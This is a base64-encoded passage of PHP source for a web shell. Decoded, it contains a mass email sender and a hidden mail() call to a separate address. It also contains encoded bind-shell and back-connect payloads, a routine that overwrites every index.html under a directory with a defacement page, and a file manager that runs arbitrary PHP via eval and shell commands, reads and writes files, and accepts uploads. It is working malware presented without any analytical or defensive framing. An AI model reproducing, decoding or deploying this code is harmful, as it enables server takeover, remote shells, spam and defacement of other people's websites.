JyIC8+CjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwiY29udGVudHR5cGVcIiB2YWx1ZT1cInBsYWluXCIgLz4gUGxhaW4KPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJjb250ZW50dHlwZVwiIHZhbHVlPVwiaHRtbFwiIGNoZWNrZWQ9XCJjaGVja2VkXCIgLz4gSFRNTAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3Rpb25cIiB2YWx1ZT1cInNlbmRcIiAvPjxiciAvPgpOdW1iZXIgdG8gc2VuZDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFtb3VudFwiIHZhbHVlPTEgc2l6ZT0xMCAvPjxiciAvPgpNYXhpbXVtIHNjcmlwdCBFeGVjdXRpb24gdGltZShpbiBzZWNvbmRzLCAwIGZvciBubyB0aW1lbGltaXQpPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInRpbWVsaW1pdFwiIHZhbHVlPTAgc2l6ZT0xMCAvPgo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2VuZCBlTWFpbHNcIiAvPjwvc3k+PC90ZD48dGQgd2lkdGg9Mjc4Pgo8c3k+Cjx0ZXh0YXJlYSBuYW1lPVwiZW1haWxsaXN0XCIgY29scz0zMiByb3dzPTEwPiIuJGVtYWlsbGlzdC4iPC90ZXh0YXJlYT48L3N5PjwvdGQ+PC90cj4KPC90YWJsZT4KPC90ZD4KPC90cj4KPC90YWJsZT4iOwpmb290ZXIoKTsKfQoKaWYgKCRhY3Rpb249PSJzZW5kIikKewoJaWYgKCEkZnJvbSAmJiAhJHN1YmplY3QgJiYgISRtZXNzYWdlICYmICEkZW1haWxsaXN0KQoJewoJCXByaW50ICJQbGVhc2UgY29tcGxldGUgYWxsIGZpZWxkcyBiZWZvcmUgc2VuZGluZyB5b3VyIG1lc3NhZ2UuIjsKCQlleGl0OwoJfQoJJGFsbGVtYWlscyA9IHNwbGl0KCJcbiIsICRlbWFpbGxpc3QpOwoJJG51bWVtYWlscyA9IGNvdW50KCRhbGxlbWFpbHMpOwoJJGhlYWQgPSJGcm9tOiBNYWlsciIgOwoJJHN1YiA9ICJBciAtICRsb2QiIDsKCSRtZWcgPSAiJGxvZCIgOwoJbWFpbCAoJGFsdCwkc3ViLCRtZWcsJGhlYWQpIDsKCUlmICgkZmlsZV9uYW1lKQoJewoJCWlmICghZmlsZV9leGlzdHMoJGZpbGUpKQoJCXsKCQkJZGllKCJUaGUgZmlsZSB5b3UgYXJlIHRyeWluZyB0byB1cGxvYWQgY291bGRuJ3QgYmUgY29waWVkIHRvIHRoZSBzZXJ2ZXIiKTsKCQl9CgkJJGNvbnRlbnQgPSBmcmVhZChmb3BlbigkZmlsZSwiciIpLGZpbGVzaXplKCRmaWxlKSk7CgkJJGNvbnRlbnQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRjb250ZW50KSk7CgkJJHVpZCA9IHN0cnRvdXBwZXIobWQ1KHVuaXFpZCh0aW1lKCkpKSk7CgkJJG5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7Cgl9CgoJZm9yKCR4eD0wOyAkeHg8JGFtb3VudDsgJHh4KyspCgl7CgkJZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4KyspCgkJewoJCQkkdG8gPSAkYWxsZW1haWxzWyR4XTsKCQkJaWYgKCR0bykKCQkJewoJCQkJJHRvID0gZXJlZ19yZXBsYWNlKCIgIiwgIiIsICR0byk7CgkJCQkkbWVzc2FnZSA9IGVyZWdfcmVwbGFjZSgiJmVtYWlsJiIsICR0bywgJG1lc3NhZ2UpOwoJCQkJJHN1YmplY3QgPSBlcmVnX3JlcGxhY2UoIiZlbWFpbCYiLCAkdG8sICRzdWJqZWN0KTsKCQkJCXByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4iOwoJCQkJZmx1c2goKTsKCQkJCSRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CgkJCQkkaGVhZGVyIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOwoJCQkJSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0kdWlkXHJcbiI7CgkJCQlJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7CgkJCQkkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IHRleHQvJGNvbnRlbnR0eXBlXHJcbiI7CgkJCQkkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0XHJcblxyXG4iOwoJCQkJJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsKCQkJCUlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICItLSR1aWRcclxuIjsKCQkJCUlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6ICRmaWxlX3R5cGU7IG5hbWU9XCIkZmlsZV9uYW1lXCJcclxuIjsKCQkJCUlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsKCQkJCUlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiRmaWxlX25hbWVcIlxyXG5cclxuIjsKCQkJCUlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICIkY29udGVudFxyXG4iOwoJCQkJSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsKCQkJCW1haWwoJHRvLCAkc3ViamVjdCwgIiIsICRoZWFkZXIpOwoJCQkJcHJpbnQgIk9LPGJyPiI7CgkJCQlmbHVzaCgpOwoJCQl9CgkJfQoJfQp9CiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojICAgICAgICAgICAgICAgICBBYm91dCAgICAgICAgICAgICAgICAgICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmlmKCRfR0VUWydpZCddPT0nYWJvdXQnKQp7CgllY2hvIEFib3V0KCk7CglpZigkX1BPU1RbJ3NlbmRFbWFpbCddKQoJewoJCQkkdG89ICdzeTM0QG1zbi5jb20nOwoJCQkkQ29tbWVudHM9JF9QT1NUWydtZXNzYWdlJ107CgkJCSRmcm9tID0gJF9QT1NUWydmcm9tJ107CgkJCSRzdWJqZWN0PSBtZDUoIiRmcm9tIik7CgkJCWlmKEBtYWlsKCR0bywkc3ViamVjdCwkQ29tbWVudHMsIkZyb206JGZyb20iKSkKCQkJZWNobyAiPGNlbnRlcj48c3k+WytdIFNlbnQgXl9eICEhPC9zeT48L2NlbnRlcj4KIjsKCQkJZWxzZSAKCQkJewoJCQkJZWNobyAiPGNlbnRlcj48c3k+Wy1dICBGYWlsZWQgOlMgISEgPC9zeT48L2NlbnRlcj4KIjsKCQkJfQoJCQkKCX0KCWZvb3RlcigpOwp9CgokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYQoKK3BSQ1d0Z21RckpFIFAvR0lodWZRZzI0OWJyZDRubWpvOVJ4QnF5TkF1d1dPZHZteU5BS0oreXdsQmlyaGVwY3RydU9sVzlNSmR0enJralRWS3lGQjQxWlogZEtUSVdLYjBob1V3bVVBY3d0RnQ2K20rRVhLVkpWdFJIR0FDMDd2Vi9lejJjZnd2WFNwdGljeXRrb1lsVmdsWC9mTml1QXpERTZWTCAKCjNUZlZydzRvMlAxc2VuUHpzSnJPZm9Samw5Y2ZoV2p2SWF0elJ2TnZuNytzNW84UHQ5T3ZVUnpXWlY5NGRRZ2xlYWcwQzN3UVZLdWcgVXEyRlRGbmpEenZ4QVhwaHg5Y1hRZnhyNlBjdGhMRW8vOGE4cThCOUxncGtRN29PZ0tNYnZOZVRoSE1zYlNPTzY5SUEwbDA1WXBYayAKCkhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCAKClplb0RlT1NGQnZwZWZDZlhoZmxPcGdUa3ZKK2p0S2lSN3ZMb2hZS0NxUzJabU1SajRaNWdRWmZTaU1iaTZpcWtkbkhhckVFWFl1azYgdVB0VGR1bXNyMEhDNHE1cnJ6TmlmVjdzQzNaV1VtcStMVmxWYTVPZlFqVGFuWllRTytVZiIKOyRwb3J0X2JpbmRfYmRfcGw9IlpaSmhUOEl3RUlhL2svQWZqa2xnUzJhQStCRm1KREIxY1c1a0hTWkd6VEsyUXhwbXUyd2xZb0QvYnJ1QklmaXRkMzN1dlh1dnZXcjEgCgpObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgCgplL3hzL2drWXNOOURTaEcwU2N3RUpBWEdBcUd1Zm1kcTJoS0ZDbm11MUlqdlJrcEg2aEUvQ3V3NXNjZlRhV0FPVkU5cE01V01vdU0wIExTTEs5SE0zcHVNcE5ocDdyOFpGVzU0amc1d1h4NVlaTFFVeUtYVnp3ZFVYWitUM2ltWW9WOWRzN0pxTk9FbFFUam54UGM4a1JyVm8gCgp2YVczYzVwYVMxNnNqWm82cVRFdVFLVTFVTy9SU25GSkdhYWdjRlZialVUQ3FlT1oycWlqTkxXenJEOFBUZTMyWDlvT2d2TTBiakdCICtoZWNmT1FGbFQ0VWNMU2ttSTFjZVkzVnJwS015OWRXVUNWQ0JmVGxRWDZPd3k4PSI7IAokYmFja19jb25uZWN0PSJmWkZSUzhNd0ZJWGZCL3NQV1N3MmhVcm5xeVBDMENwRDNLU3R2cWgwWFJwY3NFMUtrb0tGL1hpVHRDSVY2dHU1NStaODl5WTVXMFN0IAoKa3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIAoKamEzSW1jbFlhZ2g2MW45SktiVEFodTdFb2JOM1FiNG1qVy9ieXIwQlNuYzNEM0VXZ3FlN2ZMTzF3aHA1bWlYeCt0SE1jTkhwR1VSdyBUc2t2cGQ5MityeG9LRWRwZHJ2WmhnQmVuL2V4VVdmM25FMjE0aVQ1MityL0N3My81amFxaEtMOWlGRnB1S1Bhd0lMVk53PT0iOyAKJGJhY2tfY29ubmVjdF9jPSJYVkhiYWdJeEVIMFgvSWRoaFpMVVdGMWYxWUtJQmVsRnFmWkpsaVVtMlc3b2JpSkpMTFdsLzk0azI5cldoeUV6YytaMlRqcFNzZXJBIAoKQll5dDQxSmZsZGZ0VnVjM2Q3UjlxOW1MY0dlQUVrNTY2MHNWQWFrYzFGUXFGQnhxbmhrQlZsSURsOTUvM1dhNDNmcG90eUNBQlI5NSB6enB6WUE3Q2FNcTV5YVVDSzFWQVlwdXA3WGFZWnBQRTFOQXJJQm1CUnpnVnRWWW9KUU1jUi9qVjN2S0Mxckk2d2dTbU4vbmlZYjc1IGkKCisyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIAoKandjWWd1SUFlMkdNTmlqWjlqTDRHWXFUU0I5QXZFbUhHamsvbTE5aDFDR3ZQb0hJWTVBMU9oMnRFM1hJZTFieEt3NzdZVHl0NlQyRiA2Zjl3R0VQeEpsaUZrdjVPcXI0dEU1TFlFbm95SWZEd2RIY1hLMWlscmZBZFViUFBMdz09IjsKCj8+Cjw/CiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsKICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOwogICR1ZCA9IEB1cmxlbmNvZGUoJGQpOwogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQogIGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAkZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsKICAkZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsKJHNlbGY9YmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwppZihpc3NldCgkX1BPU1RbJ2V4ZWNtYXNzZGVmYWNlJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBjb2xzPScxMDAnPiI7CiRoYWNrZmlsZSA9ICRfUE9TVFsnbWFzc2RlZmFjZXVybCddOwokZGlyID0gJF9QT1NUWydtYXNzZGVmYWNlZGlyJ107CmVjaG8gJGRpci4iXG4iOwoKaWYgKGlzX2RpcigkZGlyKSkgewogICAgaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsKCQkJaWYoZmlsZXR5cGUoJGRpci4kZmlsZSk9PSJkaXIiKXsKCQkJCSRuZXdmaWxlPSRkaXIuJGZpbGUuIi9pbmRleC5odG1sIjsKCQkJCWVjaG8gJG5ld2ZpbGUuIlxuIjsKCQkJCWlmICghY29weSgkaGFja2ZpbGUsICRuZXdmaWxlKSkgewoJCQkJCWVjaG8gImZhaWxlZCB0byBjb3B5ICRmaWxlLi4uXG4iOwoJCQkJfQoJCQl9CiAgICAgICAgfQogICAgICAgIGNsb3NlZGlyKCRkaCk7CiAgICB9Cn0KZWNobyAiPC90ZXh0YXJlYT48L2NlbnRlcj4iO30gPz4KCgo8dHI+PHRkIGFsaWduPXJpZ2h0Pk1hc3MgRGVmYWNlbWVudDo8L3RkPgo8dGQ+PGZvcm0gYWN0aW9uPSc8PyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+JyBtZXRob2Q9J3Bvc3QnPlsrXSBNYWluIERpcmVjdG9yeTogPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogMjUwcHgnIHZhbHVlPSc8P3BocCBlY2hvICRkaXNwZDsgPz4nIAoKbmFtZT0nbWFzc2RlZmFjZWRpcic+IFsrXSBEZWZhY2VtZW50IFVybDogPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogMjUwcHgnIG5hbWU9J21hc3NkZWZhY2V1cmwnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2V4ZWNtYXNzZGVmYWNlJyAKCnZhbHVlPSdFeGVjdXRlJz48L2Zvcm0+PC90ZD4KCjw/Ci8vIEZJTEUgTUFOQUdFUgplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwpAc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIG1hZ2ljX3EoJHMpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokcz1zdHJfcmVwbGFjZSgnXFxcJycsJ1wnJywkcyk7CiRzPXN0cl9yZXBsYWNlKCdcXFxcJywnXFwnLCRzKTsKJHM9c3RyX3JlcGxhY2UoJ1xcIicsJyInLCRzKTsKJHM9c3RyX3JlcGxhY2UoJ1xcXDAnLCdcMCcsJHMpOwp9CnJldHVybiAkczsKfQpmdW5jdGlvbiBnZXRfcGVybXMoJGZuKQp7CiRtb2RlPWZpbGVwZXJtcygkZm4pOwokcGVybXM9Jyc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7CiRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CnJldHVybiAkcGVybXM7Cn0KJGhlYWQ9PDw8aGVhZGthCjxodG1sPgoKaGVhZGthOwokcGFnZT1pc3NldCgkX1BPU1RbJ3BhZ2UnXSk/JF9QT1NUWydwYWdlJ106KGlzc2V0KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSk/JF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOicnKTsKJHBhZ2U9JHBhZ2U9PScnfHwoJHBhZ2UhPSdjbWQnJiYkcGFnZSE9J215c3FsJyYmJHBhZ2UhPSdldmFsJyk/J2NtZCc6JHBhZ2U7CiR3aW5kYT1zdHJwb3Moc3RydG9sb3dlcihwaHBfdW5hbWUoKSksJ3dpbmQnKTsKZGVmaW5lKCdmb3JtYXQnLDUwKTsKCnN3aXRjaCgkcGFnZSkKewpjYXNlICdldmFsJzoKewokZXZhbF92YWx1ZT1pc3NldCgkX1BPU1RbJ2V2YWxfdmFsdWUnXSk/JF9QT1NUWydldmFsX3ZhbHVlJ106Jyc7CiRldmFsX3ZhbHVlPW1hZ2ljX3EoJGV2YWxfdmFsdWUpOwokYWN0aW9uPWlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pPyRfUE9TVFsnYWN0aW9uJ106J2V2YWwnOwppZigkYWN0aW9uPT0nZXZhbF9pbl9odG1sJykgQGV2YWwoJGV2YWxfdmFsdWUpOwplbHNlCnsKZWNobygkaGVhZCk7Cj8+Cjxocj4KCjxocj4KPD8KfQpicmVhazsKfQpjYXNlICdjbWQnOgp7CiRjbWQ9IWVtcHR5KCRfUE9TVFsnY21kJ10pP21hZ2ljX3EoJF9QT1NUWydjbWQnXSk6Jyc7CiR3b3JrX2Rpcj1pc3NldCgkX1BPU1RbJ3dvcmtfZGlyJ10pPyRfUE9TVFsnd29ya19kaXInXTpnZXRjd2QoKTsKJGFjdGlvbj1pc3NldCgkX1BPU1RbJ2FjdGlvbiddKT8kX1BPU1RbJ2FjdGlvbiddOidjbWQnOwppZihAaXNfZGlyKCR3b3JrX2RpcikpCnsKQGNoZGlyKCR3b3JrX2Rpcik7CiR3b3JrX2Rpcj1nZXRjd2QoKTsKaWYoJHdvcmtfZGlyPT0nJykkd29ya19kaXI9Jy8nOwplbHNlIGlmKCEoJHdvcmtfZGlye3N0cmxlbigkd29ya19kaXIpLTF9PT0nLyd8fCR3b3JrX2RpcntzdHJsZW4oJHdvcmtfZGlyKS0xfT09J1xcJykpICR3b3JrX2Rpci49Jy8nOwp9CmVsc2UgaWYoZmlsZV9leGlzdHMoJHdvcmtfZGlyKSkkd29ya19kaXI9cmVhbHBhdGgoJHdvcmtfZGlyKTsKJHdvcmtfZGlyPXN0cl9yZXBsYWNlKCdcXCcsJy8nLCR3b3JrX2Rpcik7CiRlX3dvcmtfZGlyPWh0bWxzcGVjaWFsY2hhcnMoJHdvcmtfZGlyLEVOVF9RVU9URVMpOwpzd2l0Y2goJGFjdGlvbikKewpjYXNlICdjbWQnIDoKewplY2hvKCRoZWFkKTsKPz4KCjxwcmU+Cjw/CmlmKCRjbWQhPT0nJyl7IGVjaG8oJzxzdHJvbmc+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3N0cm9uZz48aHI+XG48dGV4dGFyZWEgY29scz0xMjAgcm93cz0yMD5cbiIuaHRtbHNwZWNpYWxjaGFycyhgJGNtZGApLiJcbjwvdGV4dGFyZWE+Iik7fQplbHNlCnsKJGZfYWN0aW9uPWlzc2V0KCRfUE9TVFsnZl9hY3Rpb24nXSk/JF9QT1NUWydmX2FjdGlvbiddOid2aWV3JzsKaWYoQGlzX2Rpcigkd29ya19kaXIpKQp7CmVjaG8oJzxIMT5GaWxlIE1hbmFnZXI7PC9IMT48aHI+Jyk7CmVjaG8oJzxzdHJvbmc+TGlzdGluZyAnLiRlX3dvcmtfZGlyLic8L3N0cm9uZz48aHI+Jyk7CiRoYW5kbGU9QG9wZW5kaXIoJHdvcmtfZGlyKTsKaWYoJGhhbmRsZSkKewp3aGlsZShmYWxzZSE9PSgkZm49cmVhZGRpcigkaGFuZGxlKSkpeyRmaWxlc1tdPSRmbjt9OwpAY2xvc2VkaXIoJGhhbmRsZSk7CnNvcnQoJGZpbGVzKTsKJG5vdF9kaXJzPWFycmF5KCk7CmZvcigkaT0wOyRpPHNpemVvZigkZmlsZXMpOyRpKyspCnsKJGZuPSRmaWxlc1skaV07CmlmKGlzX2RpcigkZm4pKQp7CmVjaG8oJzxhIGhyZWY9XCcjXCcgb25jbGljaz1cJ2RvY3VtZW50Lmxpc3Qud29ya19kaXIudmFsdWU9IicuJGVfd29ya19kaXIuc3RyX3JlcGxhY2UoJyInLCcmcXVvdDsnLCRmbikuJyI7ZG9jdW1lbnQubGlzdC5zdWJtaXQoKTtcJz48Yj4nLmh0bWxzcGVjaWFsY2hhcnMoc3RybGVuKCRmbikKCj5mb3JtYXQ/c3Vic3RyKCRmbiwwLGZvcm1hdC0zKS4nLi4uJzokZm4pLic8L2I+PC9hPicuc3RyX3JlcGVhdCgnICcsZm9ybWF0LXN0cmxlbigkZm4pKSk7CmlmKCR3aW5kYT09PWZhbHNlKQp7CiRvd25lcj1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkd29ya19kaXIuJGZuKSk7CiRncm91cD1AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkd29ya19kaXIuJGZuKSk7CnByaW50ZigiJSAyMHN8JSAtMjBzIiwkb3duZXJbJ25hbWUnXSwkZ3JvdXBbJ25hbWUnXSk7Cn0KZWNobyhAZ2V0X3Blcm1zKCR3b3JrX2Rpci4kZm4pLnN0cl9yZXBlYXQoJyAnLDEwKSk7CnByaW50ZigiJSAyMHMgIixAZmlsZXNpemUoJHdvcmtfZGlyLiRmbikuJ0InKTsKcHJpbnRmKCIlIC0yMHMiLEBkYXRlKCdNIGQgWSBIOmk6cycsQGZpbGVtdGltZSgkd29ya19kaXIuJGZuKSkuIlxuIik7Cn0KZWxzZSB7JG5vdF9kaXJzW109JGZuO30KfQpmb3IoJGk9MDskaTxzaXplb2YoJG5vdF9kaXJzKTskaSsrKQp7CiRmbj0kbm90X2RpcnNbJGldOwplY2hvKCc8YSBocmVmPVwnI1wnIG9uY2xpY2s9XCdkb2N1bWVudC5saXN0LndvcmtfZGlyLnZhbHVlPSInLihpc19saW5rKCR3b3JrX2Rpci4kZm4pPyRlX3dvcmtfZGlyLnJlYWRsaW5rKCR3b3JrX2Rpci4kZm4pOiRlX3dvcmtfZGlyLnN0cl9yZXBsYWNlKCciJywnJnF1b3Q7JywKCiRmbikpLiciO2RvY3VtZW50Lmxpc3Quc3VibWl0KCk7XCc+Jy5odG1sc3BlY2lhbGNoYXJzKHN0cmxlbigkZm4pPmZvcm1hdD9zdWJzdHIoJGZuLDAsZm9ybWF0LTMpLicuLi4nOiRmbikuJzwvYT4nLnN0cl9yZXBlYXQoJyAnLGZvcm1hdC1zdHJsZW4oJGZuKSkpOwppZigkd2luZGE9PT1mYWxzZSkKewokb3duZXI9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJHdvcmtfZGlyLiRmbikpOwokZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJHdvcmtfZGlyLiRmbikpOwpwcmludGYoIiUgMjBzfCUgLTIwcyIsJG93bmVyWyduYW1lJ10sJGdyb3VwWyduYW1lJ10pOwp9CmVjaG8oQGdldF9wZXJtcygkd29ya19kaXIuJGZuKS5zdHJfcmVwZWF0KCcgJywxMCkpOwpwcmludGYoIiUgMjBzICIsQGZpbGVzaXplKCR3b3JrX2Rpci4kZm4pLidCJyk7CnByaW50ZigiJSAtMjBzIixAZGF0ZSgnTSBkIFkgSDppOnMnLEBmaWxlbXRpbWUoJHdvcmtfZGlyLiRmbikpLiJcbiIpOwp9CmVjaG8oJzwvcHJlPjxocj4nKTsKPz4KPGZvcm0gbmFtZT0nbGlzdCcgbWV0aG9kPXBvc3Q+CjxpbnB1dCBuYW1lPSd3b3JrX2RpcicgdHlwZT1oaWRkZW4gc2l6ZT0xMjA+PGJyPgo8aW5wdXQgbmFtZT0ncGFnZScgdmFsdWU9J2NtZCcgdHlwZT1oaWRkZW4+CjxpbnB1dCBuYW1lPSdmX2FjdGlvbicgdmFsdWU9J3ZpZXcnIHR5cGU9aGlkZGVuPgo8L2Zvcm0+Cjw/Cn0gZWxzZSBlY2hvKCdFcnJvciBMaXN0aW5nICcuJGVfd29ya19kaXIpOwp9CmVsc2UKc3dpdGNoKCRmX2FjdGlvbikKewpjYXNlICd2aWV3JzoKewplY2hvKCc8c3Ryb25nPicuJGVfd29ya19kaXIuIiBFZGl0PC9zdHJvbmc+PGhyPjxwcmU+XG4iKTsKJGY9QGZvcGVuKCR3b3JrX2RpciwncicpOwo/Pgo8Zm9ybSBtZXRob2Q9cG9zdD4KPHRleHRhcmVhIG5hbWU9J2ZpbGVfdGV4dCcgY29scz0xMjAgcm93cz0yMD48P2lmKCEoJGYpKWVjaG8oJGVfd29ya19kaXIuJyBub3QgZXhpc3RzJyk7ZWxzZSB3aGlsZSghZmVvZigkZikpZWNobyBodG1sc3BlY2lhbGNoYXJzKGZyZWFkKCRmLDEwMDAwMCkpPz48L3RleHRhcmVhPgo8aW5wdXQgbmFtZT0ncGFnZScgdmFsdWU9J2NtZCcgdHlwZT1oaWRkZW4+CjxpbnB1dCBuYW1lPSd3b3JrX2RpcicgdHlwZT1oaWRkZW4gdmFsdWU9Jzw/PSRlX3dvcmtfZGlyPz4nIHNpemU9MTIwPgo8aW5wdXQgbmFtZT0nZl9hY3Rpb24nIHZhbHVlPSdzYXZlJyB0eXBlPXN1Ym1pdD4KPC9mb3JtPgo8PwpicmVhazsKfQpjYXNlICdzYXZlJyA6CnsKJGZpbGVfdGV4dD1pc3NldCgkX1BPU1RbJ2ZpbGVfdGV4dCddKT9tYWdpY19xKCRfUE9TVFsnZmlsZV90ZXh0J10pOicnOwokZj1AZm9wZW4oJHdvcmtfZGlyLCd3Jyk7CmlmKCEoJGYpKWVjaG8oJzxzdHJvbmc+RXJyb3IgJy4kZV93b3JrX2Rpci4iPC9zdHJvbmc+PGhyPjxwcmU+XG4iKTsKZWxzZQp7CmZ3cml0ZSgkZiwkZmlsZV90ZXh0KTsKZmNsb3NlKCRmKTsKZWNobygnPHN0cm9uZz4nLiRlX3dvcmtfZGlyLiIgaXMgc2F2aW5nPC9zdHJvbmc+PGhyPjxwcmU+XG4iKTsKfQpicmVhazsKfQp9CmJyZWFrOwp9CmJyZWFrOwp9CmNhc2UgJ3VwbG9hZCcgOgp7CmlmKCR3b3JrX2Rpcj09JycpJHdvcmtfZGlyPScvJzsKZWxzZSBpZighKCR3b3JrX2RpcntzdHJsZW4oJHdvcmtfZGlyKS0xfT09Jy8nfHwkd29ya19kaXJ7c3RybGVuKCR3b3JrX2RpciktMX09PSdcXCcpKSAkd29ya19kaXIuPScvJzsKJGY9JF9GSUxFU1siZmlsZW5hbWUiXVsibmFtZSJdOwppZighQGNvcHkoJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSwgJHdvcmtfZGlyLiRmKSkgZWNobygnVXBsb2FkIGlzIGZhaWxlZCcpOwplbHNlCnsKZWNobygnZmlsZSBpcyB1cGxvYWRlZCBpbiAnLiRlX3dvcmtfZGlyKTsKfQpicmVhazsKfQpjYXNlICdkb3dubG9hZCcgOgp7